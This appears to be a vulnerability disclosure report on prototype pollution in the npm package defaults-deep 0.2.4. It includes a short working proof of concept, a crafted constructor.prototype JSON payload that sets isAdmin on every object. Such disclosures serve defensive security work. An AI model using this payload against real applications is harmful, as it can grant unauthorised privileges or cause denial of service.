How it was found

I would like to report a prototype pollution vulnerability in defaults-deep. It allows an attacker to inject properties on Object.prototype.

Module

module name: defaults-deep version: 0.2.4 npm page: https://www.npmjs.com/package/defaults-deep

Module Description

Like extend but recursively copies only the missing properties/values to the target object.

Module Stats

6,659 downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability: https://hackerone.com/reports/310443

The defaults-deep package can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {constructor: {prototype: {...}}} and send it to defaults-deep:

var defaultsDeep = require('defaults-deep');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
defaultsDeep({}, payload);
console.log({}.isAdmin); // true

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application. See https://hackerone.com/reports/310443